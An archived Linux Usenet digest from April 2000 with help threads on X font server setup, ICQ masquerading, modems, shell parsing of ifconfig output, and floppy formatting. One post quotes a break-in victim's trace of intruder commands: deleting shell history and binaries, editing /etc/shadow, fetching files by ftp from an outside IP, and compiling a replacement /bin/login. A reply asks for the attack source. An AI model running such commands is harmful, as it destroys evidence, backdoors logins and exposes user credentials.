Linux-Misc Digest #251, Volume #24 Tue, 25 Apr 00 11:13:25 EDT
Contents:
Re: Starting xfs (Glenn)
Re: Could MS 'Buy' Linux? ("David ..")
Re: ICQ masquerading problems (Jean-Sebastien Morisset)
what's up with .tar, .gz., .sh???
Re: Could MS 'Buy' Linux? (Matt Friedman)
Re: ICQ masquerading problems ("Tad")
Re: Starting xfs (Hal Burgiss)
Re: Which modem is good for LINUX (Sean Akers)
Linux not booting after linuxconf upgrade (Brian)
Re: How to patch for ATA66 /Slack 7 ? ("Nick")
Re: How Microsoft inhibits competition & innovation (Kevin Huber)
Re: Another shell script question (Siemel Naran)
Re: Starting xfs (Bob Tennent)
Re: window sizes too large for the screen (Brandon)
Re: I think I have been HACKED!!! ("Hunter2097")
Re: Another shell script question (Michael P Vosseller)
Re: HOT HD (Stewart Honsberger)
Floppy format problem. ("Charles Sullivan")
greater than 60Hz with vesa frame buffer (David Turley)
Re: linux programs, tools and functionality for windows? (Grant Edwards)
Re: Linux & Sun IPC (Grant Edwards)
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Date: Mon, 24 Apr 2000 00:22:05 +0000
From: Glenn <[EMAIL PROTECTED]>
Subject: Re: Starting xfs
Hal Burgiss wrote:
>
> On Sun, 23 Apr 2000 22:49:15 +0000, David Rolfe <[EMAIL PROTECTED]> wrote:
> >So ... I said let's get true type fonts working! I have redhat 6.0 so
> >xfs is supposed to support it! And I have it working .... But not with
> >xfs the way it starts on boot. If I do a ps -ax |grep xfs, it is there
> >alright but there is no info about a port number. I have the line:
> >FontPath "unix/:-1" in /etc/X11/XF86Config. If I try to startx it
> >fails complaining about the font path and having no fixed font. If,
> >however, I su to root and issue:
> > xfs -config /etc/X11/fs/config -port 7100 & and then exit back to user
> >mode and THEN issue startx everybody is very happy. And if I do a ps -ax
> >|grep xfs, xfs shows up with a port. I pokked around and the code that
> >starts xfs at boot looks like:
> >
> >start)
> > echo -n "Starting X Font Server: "
> > rm -fr /tmp/.font-unix
> > daemon --check xfs su xfs -c xfs -s /bin/sh
> > touch /var/lock/subsys/xfs
> > echo
> > ;;
> >
> >Any thoughts on what is going on? As I said earlier, if I go through the
> >rather ugly procedure mentioned above everything works. Oh yea and
> >putting the command in .xinitrc does not work. I think root must execute
> >it.
>
> If it works as root and not as $USER, likely there is a permission
> problem on /tmp, or the filesystem is full to the point only root can
> write to it. RH has xfs starting as a non-root user.
>
> http://feenix.eyep.net/xstuff/xfs.html#trouble
>
> --
> Hal B
> [EMAIL PROTECTED]
> --
I had a similar stituation last week and for me anyway it was a problem
associated with a bad font (maybe). I had plenty of space and correct
permissions, also changed the port numbers between the -1 and 7100
options. xfs had worked fine for me under Redhat 6.0 but broke when I
upgraded to 6.2. I also went through all of the excellent sugtgestions
on Hal's page too, but to no avail.
I had this appearing in /var/log/messages:
======
Apr 15 07:25:07 localhost xfs: xfs startup succeeded
Apr 15 07:25:07 localhost xfs: Fatal font server error:
Apr 15 07:25:07 localhost xfs: Element #0 (starting at 0) of font path
is bad or has a bad font: "/usr/X11R6/lib/X11/fonts/misc:unscaled"
======
I would get a core dump if xfs was started as user but not as root. The
/etc/rc.d/init.d/xfs said it was started but wasn't, ps | grep xfs
showed nothing, other than my grep. However, when i would start xfs as
root after booting, then exiting and logging in as user, everything was
fine, even with the bad font message. I trimmed down most of my fonts
and things worked so then I started believing the bad font message.
Bottom line for me was to force install the XFree86-3.3.6-20 rpm and it
has worked well for about a week now.
Glenn
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From: "David .." <[EMAIL PROTECTED]>
Subject: Re: Could MS 'Buy' Linux?
Date: Sun, 23 Apr 2000 19:17:38 -0500
Richard Phillips wrote:
>
> Hello,
> Just a little philosophical thought here. I am using Linux now (and
> very happy I am too) and read many threads about where Linux is heading
> and where MS would like it to head. MS seem to solve these problems by
> throwing money at them until they go away. I don't know anything about
> the organization of the Linux community except that Linus Torvalds is
> the guy that has final say on changes to the kernel (am I right
> there!?).
> My question though is, could MS effectively destroy Linux by buying it's
> various contributors out, were it not for the current climate of court
> cases?
> Regards,
> Richard.
There are more contributors to Linux than you may realize, try "World
Wide".
Does microsoft wish to make Linus Torvalds the richest man in the world?
--
Registered with the Linux Counter. http://counter.li.org
ID # 123538
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From: Jean-Sebastien Morisset <[EMAIL PROTECTED]>
Crossposted-To: comp.os.linux.networking
Subject: Re: ICQ masquerading problems
Date: Sun, 23 Apr 2000 20:30:34 -0400
Tad wrote:
>
> Jean-Sebastien Morisset <[EMAIL PROTECTED]> wrote in message
> > Thanks, but I've already tried that. I used the following command to set
> the
> > timeout to 160 secs:
> >
> > ipchains -M -S 7200 10 160
>
> I had to set mine to 360 before it started working correctly with the
> module. BTW, I have found that the port forwarding method described in the
> IP_Masq_HOWTO works much better than the ICQ module. File xfer, chat......
> it all works.
Yeah, but I've got more than one PC on my private LAN. :-(
I don't get it. I mean, looking at my logs, it looks like the ICQ server is
the one with the problem! :-)
Apr 23 20:17:31 marvin kernel: Packet log: forward MASQ eth1 PROTO=17
10.1.1.20:3747 205.188.153.102:4000 L=163 S=0x00 I=23733 F=0x0000 T=127 (#1)
Apr 23 20:17:31 marvin kernel: ip_masq_icq: LOGIN
[EMAIL PROTECTED]:15673<-60222/3747, protocol v5
Apr 23 20:17:31 marvin kernel: Packet log: output ACCEPT eth1 PROTO=17
24.201.24.83:61518 205.188.153.102:4000 L=163 S=0x00 I=23733 F=0x0000 T=127
(#84)
I'm forwarding, the masq module seems to be doing it's job, and the packet
is accepted for output. The problem is I never get a UDP packet back from
205.188.0.0/16!
js.
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Personal Homepage <http://www.jsmoriss.dyndns.org/>
UNIX, Internet, Homebrewing, Cigars, PCS, CP2020 and other Fun Stuff...
This is Linux Country. On a quiet night you can hear Windows NT reboot!
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From: <[EMAIL PROTECTED]>
Subject: what's up with .tar, .gz., .sh???
Date: Mon, 24 Apr 2000 00:30:04 GMT
I am a newbie to Linux/UNIX
the files I downloaded from the net: staroffice, QuakeIII Arena etc. end
with .tar, .gz. or .sh.
what's does that mean and
how do I open/install these programs??
thanks
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From: Matt Friedman <"mwf"@total.net(remove-to-reply)>
Subject: Re: Could MS 'Buy' Linux?
Date: Sun, 23 Apr 2000 20:41:39 -0400
Richard Phillips wrote:
>
> Hello,
> Just a little philosophical thought here. I am using Linux now (and
> very happy I am too) and read many threads about where Linux is heading
> and where MS would like it to head. MS seem to solve these problems by
> throwing money at them until they go away. I don't know anything about
> the organization of the Linux community except that Linus Torvalds is
> the guy that has final say on changes to the kernel (am I right
> there!?).
> My question though is, could MS effectively destroy Linux by buying it's
> various contributors out, were it not for the current climate of court
> cases?
Yes and no.
No, because the license under which Linux operating system products are
developed and sold make it very difficult, perhaps even impossible, for
any one company or individual to close access to the code. By design, no
one person owns the code to all of Linux -- not even Linus himself --
nor can they under the GPL.
[What now follows is a speculative scenario...]
On the other hand, if MS was so inclined, it could conceivably buy out a
couple of the major distributions, say Red Hat and SuSE, and leverage
them to marginalize all the other distributions by flooding the market,
pre-installing them on major systems and making MS software available
for Linux that installs REALLY well on their own distribution(s), but's
a pain in the butt to install on others.
[They could, for example, devise a proprietary package format that only
works with the MS distribution, and ensure that the compile and install
of the tarballs for the other distributions is difficult in the
extreme.]
I may be wrong, and there are a lot of people on this NG who'd disagree
with me, but I suspect a whole lot of people would use a MS Linux
distribution if it meant they could use MS applications on it. As Bob
Young says, people don't choose operating systems, they choose
applications. And MS has some mighty popular applications.
The other distributions wouldn't necessarily go away, though I suspect
Corel would be an early casualty. Debian and Slackware would continue to
be used by the hackers, but MS would be able to push its own Linux into
the enterprise and onto desktops. It could bundle some compelling
software and make the case to the suits that the only viable business
Linux is MS Linux, stripping away the non-hacker hardcore from the other
remaining distributions.
And then... and then, having dominated the market, MS could start
migrating business users away from open source Linux to MS Unix NT,
leaving the remaining Linux distributions with the hackers and little
potential for market growth. The momentum that has kept people excited
about Linux would be gone, MS could use its marketing machine to
convincingly portray Linux as an old technology, and the only people
left using it would be the hackers and enthusiasts. Like OS/2, still
alive, but marginal.
Of course,all of this is highly unlikely and highly improbable. Aside
from the obvious legal barriers, MS would have to control Red Hat to
make it work, and as a publicly-traded company, that would be very
difficult and very expensive.
The kernel hackers would cry foul at the very beginning, although they
are a very small minority of the computer market, and the suits who buy
MS-because-it's-MS really don't care what they think, anyway.
In short, it's all possible -- almost anything IS possible -- but it's
very unlikely.
MF
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From: "Tad" <[EMAIL PROTECTED]>
Crossposted-To: comp.os.linux.networking
Subject: Re: ICQ masquerading problems
Date: Mon, 24 Apr 2000 00:46:15 GMT
Jean-Sebastien Morisset <[EMAIL PROTECTED]> wrote in message
> Yeah, but I've got more than one PC on my private LAN. :-(
Well, how many do you have? I have several also. You only need to forward
about 20 unprivileged ports for each machine.
Tad
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From: [EMAIL PROTECTED] (Hal Burgiss)
Subject: Re: Starting xfs
Reply-To: [EMAIL PROTECTED]
Date: Mon, 24 Apr 2000 01:12:36 GMT
On Mon, 24 Apr 2000 00:22:05 +0000, Glenn <[EMAIL PROTECTED]> wrote:
>Hal Burgiss wrote:
>>
>I had a similar stituation last week and for me anyway it was a problem
>associated with a bad font (maybe). I had plenty of space and correct
>permissions, also changed the port numbers between the -1 and 7100
>options. xfs had worked fine for me under Redhat 6.0 but broke when I
>upgraded to 6.2. I also went through all of the excellent sugtgestions
>on Hal's page too, but to no avail.
>I had this appearing in /var/log/messages:
>
>------
>Apr 15 07:25:07 localhost xfs: xfs startup succeeded
>Apr 15 07:25:07 localhost xfs: Fatal font server error:
>Apr 15 07:25:07 localhost xfs: Element #0 (starting at 0) of font path
>is bad or has a bad font: "/usr/X11R6/lib/X11/fonts/misc:unscaled"
>------
Thankx. I added a bit about this. Looks like xfs is doing better error
reporting.
--
Hal B
[EMAIL PROTECTED]
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From: Sean Akers <[EMAIL PROTECTED]>
Subject: Re: Which modem is good for LINUX
Date: Mon, 24 Apr 2000 02:02:42 +0100
On Sat, 22 Apr 2000 19:12:40 GMT, John Hasler <[EMAIL PROTECTED]> wrote:
>David writes:
>> I use the 3com courier and have no problems with it at all.
>
>I have a 3com U.S. Robotics 56K Faxmodem (external) and it is a worthless
>piece of junk. I've gone back to my generic internal.
I too have one of these and have used it heavily with no problems for
2 years for both net and fax use (with mgetty+sendfax). Rarely connect
at less than 52000 for net use. Wht was yours a worthless piece of
junk? I'd heartily recommend anyone to get one.
Sean.
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From: Brian <[EMAIL PROTECTED]>
Subject: Linux not booting after linuxconf upgrade
Date: Mon, 24 Apr 2000 01:30:09 GMT
Dear All
I have just upgraded LC from gnome-lc as part of RH6.1, to the latest
from solucorp (1.18.1). On starting LC from Xwindows, I noticed the new
status display (very nice) showed 64MB of Ram. As I have 256MB, this
puzzled me. I decided to reboot and check from the bootup what was
reported - 256MB - therefore hardware OK.
However, I now receive numerous /etc/rc.d/rc.sysinit [FAILED] messages
and I can not get linux to start. I am dropped into shell for
maintenance, but I have no idea where to begin...
I have started LC from the command prompt, but every time I try to make a
change I get a message e.g.
/etc/sysconfig/some_file_name READ-ONLY FILE SYSTEM
What on earth has happened?? Can anyone help??
Best regards, Brian
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From: "Nick" <[EMAIL PROTECTED]>
Crossposted-To: comp.os.linux.setup,alt.os.linux.slackware
Subject: Re: How to patch for ATA66 /Slack 7 ?
Date: Mon, 24 Apr 2000 01:33:26 GMT
can you please give me the addy as to where i may find the ata66 controller
patch?
thank you,
nick
"Ron Gibson" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]...
> My memory has failed me and they seem to have changed "patch".
>
> On patching the kernel with Hedrick's ide patch for ATA66 controllers, I
> can't get it to work as apparently I've forgotten the syntax or else
> something has changed in going from Slackware 4 to 7.
>
> In any event, I have the archive for the patch I want to apply to kernel
> 2.2.14. Since I couldn't start with a fresh kernel source, I simply
> copied my old tree into /usr/src/ and compiled again.
>
> But anyway, can someone tell me the correct syntax for patching the
> kernel tree and what directory to place the patch in. All my attempts
> end in "What do you want to patch" or something similar.
>
> Thanx...
>
> Email: [EMAIL PROTECTED]
> ICQ: 56576008
> Home Page: http://home.netcom.com/~rgibson/index.htm
>
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Crossposted-To: comp.lang.java.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: How Microsoft inhibits competition & innovation
From: Kevin Huber <[EMAIL PROTECTED]>
Date: 23 Apr 2000 20:53:15 -0500
Harold> With the Evil Empire, it's a pattern, not the exception
Harold> to the rule, and millions of people around the world are fed
Harold> up with it.
Harold> For the record, if it's not absolutely clear, I'm one of them.
Intel, Sun, IBM, Oracle, Cisco. These companies are as "evil" as
Microsoft. They just don't get the same press. Maybe on the evil
scale, MS is a little higher due to their relentless avoidance and
obliteration of open standards. But look at Sun - they aren't exactly
open with Java. Intel has had a stranglehold on the x86 market
forever. AMD finally is making some headway, soon to become evil I'm
sure. IBM went through DOJ stuff already. Linux is forced to use
open standards because it's such a niche. If it was completely
closed, it would die. (I happen to vehemently support open
standards).
Who financed the Microsoft empire? There have always been
alternatives. I ran OS/2 before I switched to Linux at home.
I don't know why people seem to feel so victimized by Microsoft then
turn around and hand them money. And don't tell me you can't change
things, that is just the victim mentality. "I can't change things
sitting on my ass and doing nothing" is what people mean to say.
Linux as it stands (or *BSD or BeOS) simply can't compete on the
desktop right now. Mac hardware has always been too expensive. I
have been using Linux for 5 years or so. It has advanced. It works
great. User friendly it ain't.
Harold> So, WRT to MS: Does this sound like "innovation" or
Harold> "racketeering" to you?
Microsoft has a duty to their shareholders. I'm not denying their
cutthroat competition and anticompetitive tactics. In fact I am
saying that their innovation *is* the cutthroat competition. They
have done it better than anyone, destroying many companies and
products. But I don't think they are alone in the industry or among
large corporations in general. It's just more popular to bash MS (and
pretty old and boring too).
-Kevin
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From: [EMAIL PROTECTED] (Siemel Naran)
Subject: Re: Another shell script question
Date: Mon, 24 Apr 2000 02:09:32 GMT
On Sun, 23 Apr 2000 23:37:11 GMT, Hal Burgiss
>On 23 Apr 2000 23:30:29 GMT, David Bell <[EMAIL PROTECTED]> wrote:
>>Hello! I've got a very simple question... I'm making a script to retrieve my
>>current PPP ip address. Here's an example: /sbin/ifconfig ppp0 | grep 'inet
>>addr' | awk '{print $2}' . I get the output: addr:<ip here>. How can I
>>filter out 'addr:' to just get the ip? Anyone know of a good, easy to read,
>>shell script howto? TIA
On the Alpha I'm using now, it should be "/sbin/ifconfig eth0". How to
handle the case where the device is either "eth0" or "ppp0"?
You can always try "hostname -i". Not sure if it works for PPP connections.
> /sbin/ifconfig ppp0 | grep 'inet addr' | awk '{print $2}' | cut -f2 -d:
Why use two hammers -- gawk and cut? Why not just cut?
/sbin/ifconfig ppp0 | grep 'inet addr' | cut -f 2 -d : | cut -f 1 -d ' '
Also consider tr to delete chars.
/sbin/ifconfig ppp0 | grep 'inet addr' | tr -d "[:alpha:]|[:]" | cut -f 1 -d ' '
Could also use the shell for parsing into words.
set -- `/sbin/ifconfig ppp0 | grep 'inet addr' | tr -d "[:alpha:]|[:]"`
echo $1
Or perhaps use gawk for everything.
============
siemel naran
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From: [EMAIL PROTECTED] (Bob Tennent)
Subject: Re: Starting xfs
Date: 24 Apr 2000 02:01:43 GMT
Reply-To: [EMAIL PROTECTED]
On Sun, 23 Apr 2000 22:49:15 +0000, David Rolfe wrote:
>So ... I said let's get true type fonts working! I have redhat 6.0 so
>xfs is supposed to support it! And I have it working .... But not with
>xfs the way it starts on boot. If I do a ps -ax |grep xfs, it is there
>alright but there is no info about a port number. I have the line:
>FontPath "unix/:-1" in /etc/X11/XF86Config. If I try to startx it
>fails complaining about the font path and having no fixed font. If,
>however, I su to root and issue:
> xfs -config /etc/X11/fs/config -port 7100 & and then exit back to user
>mode and THEN issue startx everybody is very happy. And if I do a ps -ax
>|grep xfs, xfs shows up with a port. I pokked around and the code that
>starts xfs at boot looks like:
>
>start)
> echo -n "Starting X Font Server: "
> rm -fr /tmp/.font-unix
> daemon --check xfs su xfs -c xfs -s /bin/sh
> touch /var/lock/subsys/xfs
> echo
> ;;
>
>Any thoughts on what is going on? As I said earlier, if I go through the
>rather ugly procedure mentioned above everything works. Oh yea and
>putting the command in .xinitrc does not work. I think root must execute
>it.
>
Check out http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=9234
I've since upgraded to 6.2 and still have the same problem. I suggest you
add your experience to that site. Maybe RedHat will pay attention.
Bob T.
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From: Brandon <[EMAIL PROTECTED]>
Subject: Re: window sizes too large for the screen
Date: Sun, 23 Apr 2000 22:06:18 -0400
Ramin, Go to a terminal window and run Xconfigurator (capital X - case
sensitive remember) Go through the configurator and choose Custom monitor.
There are other settings also. No clockchip setting. Don't probe. Select the
amount of RAM your video card has. When you get to resolution, You will want
to be able to select 640x480, 800x600, 1024x768, and possibly 1152xwhatever in
8bps only. TEST THE CONFIGURATION FIRST!!!!! If you get the message "Can you
see this message?" Click Yes. When asked if you want to start X upon bootup,
click No. The last dialog box is informational and states that the file was
written to the hard disk. Click OK. Now....... if and only if you went through
Xconfigurator correctly, you will be able to choose different resolutions while
the system is running. Wait until everything is up and running and awaiting
your commands, and hit CTRL-ALT-+. That keystroke would be Control, Alt,
(Plus symbol). Each time you hit these 3 keys at the same time, This will
toggle you through each different resolution you selected with
Xconfigurator. I hope this helps. If you have any questions, feel free to
ask. -Brandon
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From: "Hunter2097" <[EMAIL PROTECTED]>
Crossposted-To: uk.comp.os.linux,comp.os.linux.setup
Subject: Re: I think I have been HACKED!!!
Date: Mon, 24 Apr 2000 03:25:55 +0100
Cool.
Can I have a copy of bj.c?
JoeB <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]...
> Hello,
>
> I think our mail server has been hacked into. These are some traces I
> saw.
> Can someone please confirm the fact that we have been hacked into and
> how to prevent such actions in future:
>
> I saw these Traces:
>
> ps -aux | grep inetd ; ps -aux|grep portmap ; rm /sbin/portmap ;
> rm /tmp /h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf
> /root/.bash_history ;
> rm -rf /usr/sbin/named
>
> pico /etc/shadow
> pico /etc/passwd
>
> rm /usr/sbin/rpc.mountd
> mv login /bin/login
> chgrp bin /usr/bin/xstat
> chmod 555 /usr/bin/xstat
> rm /bin/login
> cp /bin/login /usr/bin old
>
> ftp 202.235.7.158
> gcc -o login bj.c
> chown root bin login
>
> ./lkp eth0 &
>
> cat The_10gz | more -- This file contains all of our mail including user
> ID's and Passwords. I do not know how this file was generated
>
> Other IP addresses: 209.91.80.42
> 203.109.201.68
>
> Please help.
>
>
>
>
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From: Michael P Vosseller <[EMAIL PROTECTED]>
Subject: Re: Another shell script question
Date: Sun, 23 Apr 2000 22:47:32 -0400
This works for me:
/sbin/ifconfig ppp0 | grep inet | cut -d : -f 2 | cut -d \ -f 1
On 23 Apr 2000, David Bell wrote:
> Hello! I've got a very simple question... I'm making a script to retrieve my
> current PPP ip address. Here's an example: /sbin/ifconfig ppp0 | grep 'inet
> addr' | awk '{print $2}' . I get the output: addr:<ip here>. How can I filter
> out 'addr:' to just get the ip? Anyone know of a good, easy to read, shell
> script howto? TIA
>
> -------------------------
> David Bell - Otherwise known as DB7654321
>
> Remember to remove nospam, notrash or anything odd looking from my email
> address. :)
>
>
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From: [EMAIL PROTECTED] (Stewart Honsberger)
Crossposted-To:
alt.os.linux,comp.os.linux.hardware,comp.os.linux.setup,comp.sys.ibm.pc.hardware.storage
Subject: Re: HOT HD
Reply-To: [EMAIL PROTECTED]
Date: Mon, 24 Apr 2000 03:01:27 GMT
On Sun, 23 Apr 2000 16:59:31 GMT, Charlie Brown wrote:
>>Any HDD over 6GiB is reccomended to sit in a 5 1/4" bay with a HDD cooling
>>unit. HDD coolers are relatively inexpensive, and could save you lots of
>>trouble and expense somewhere down the road.
>
>Who, exactly, is this recommended by?
>Not the drive makers.
Anybody who's ever touched the bottom of an over-heated drive, or had drive
componants fuse together?
I believe I've even seen some provisos in drive warranties that mandate the
use of sufficient cooling mechanisms. Your case just might have good enough
airflow, and your operating environment is likely cool enough.
Or, you could just have cool-running drives.
--
Stewart Honsberger (AKA Blackdeath) @ http://sprk.com/blackdeath/
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Humming along under SuSE 6.4, Linux 2.2.14
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From: "Charles Sullivan" <[EMAIL PROTECTED]>
Crossposted-To: comp.os.linux.hardware
Subject: Floppy format problem.
Date: Mon, 24 Apr 2000 03:03:36 GMT
Has anyone successfully formatted a 5.25" double-density 360K
floppy diskette on a high-density 1.2 Meg floppy drive under
Linux, specifically RedHat 6.0? Or any version of Linux?
I use the command:
fdformat /dev/fd0d360
and get the following:
[csul@localhost csul]$ fdformat /dev/fd0d360
Double-sided, 40 tracks, 9 sec/track. Total capacity 360 kB.
Formatting ... done
Verifying ... end_request: I/O error, dev 02:04 (floppy), sector 0
Read: : Input/output error
Problem reading cylinder 0, expected 9216, read -1
[csul@localhost csul]$ end_request: I/O error, dev 02:04 (floppy), sector
2
end_request: I/O error, dev 02:04 (floppy), sector 4
end_request: I/O error, dev 02:04 (floppy), sector 6
end_request: I/O error, dev 02:04 (floppy), sector 9
<etc>
I don't have this problem when formatting a high-density 1.2 Meg
floppy under Linux, and Win 98 will format either 360K or 1.2 Meg
without a problem. I've also tried a different floppy drive
with the same results. (Both are Teac drives; one is about 10 years
old and the other is new.)
Any suggestions as to what I might be doing wrong? Or is this a
bug?
Regards,
Charles Sullivan [EMAIL PROTECTED]
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From: David Turley <[EMAIL PROTECTED]>
Subject: greater than 60Hz with vesa frame buffer
Date: Mon, 24 Apr 2000 02:07:57 GMT
/usr/src/linux/Documentation/fb/vesafb.txt states:
If you are not happy with the 60 Hz refresh rate, you
have these options:
* configure and load the DOS-Tools for your the graphics board (if
available) and boot linux with loadlin.
I already boot my laptop with loadlin from a menu created on config.sys. I've
got the NeoMagic driver that supports upto 85Mhz on an external monitor.
What DOS-tools are they referring to? Anyone managed > 60Mhz?
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From: [EMAIL PROTECTED] (Grant Edwards)
Subject: Re: linux programs, tools and functionality for windows?
Date: Mon, 24 Apr 2000 03:11:05 GMT
On Wed, 19 Apr 2000 17:02:36 +0200, SAP User <[EMAIL PROTECTED]> wrote:
>due to a job change I have to work with windows instead of linux :-(((
You have my condolences.
>Are there any sites of information about programs for windows which provide
>some of the functionality of a nice linux system?
>
>For example:
>* bash
>* emacs
>* Hacks for the desktop to provide an extended functionality like in most of
>the linux window managers
>* copy and paste like in X (without Ctrl-C and Ctrl-V)
>* ....
>
1) Cygwin (free: from cygnus/redhat) includes all of the standard gnu
things like bash, tar, ls, grep, gcc, etc.
http://www.sourceware.cygnus.com/cygwin
I believe that a new release was announced last week.
2) MKS Toolkit (commercial: from Mortic Kern Systems). A
complete set of Unix command line utilities including csh
and ksh (maybe bash also?).
http://www.mks.com/
http://www.datafocus.com/products/tk
Last time I checked, a 30-day free tail version could be
downloaded.
--
Grant Edwards grante Yow! Mr and Mrs PED, can
at I borrow 26.7
visi.com
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From: [EMAIL PROTECTED] (Grant Edwards)
Subject: Re: Linux & Sun IPC
Date: Mon, 24 Apr 2000 03:17:12 GMT
On Sun, 23 Apr 2000 16:10:39 GMT, Neil Cherry <[EMAIL PROTECTED]>
wrote:
>>>I have acces to a Sun IPC which has a pretty bad case of corrupted
>>>unix on it. I'd like to load a version of Linux on it. My first
>>>question is how? Anyone know of any howto's for the Sun IPC? I have
>>>access to SCSI cdrom drives so hooking one up isn't a problem.
>>
>>Put a RH 6.2 SPARC CD in the cdrom, and do "boot cdrom" from
>>the ROM monitor prompt (assuming it's got the new-style monitor
>>commands). Otherwise do the "b (whatever)" command to boot
>>from the CD.
>
>Very cool, Thanks!
Oh, one hint: if you want the machine to be networked, make
sure you've got the network hooked up when you do the install.
You can set up the network later, but it's easier if the
network is set up at install time.
I'm told that if you have all of the Solaris library files
available, you can even run Solaris binaries under Linux. Never
tried it myself....
Good luck.
--
Grant Edwards grante Yow! What I need is a
at MATURE RELATIONSHIP with a
visi.com FLOPPY DISK...
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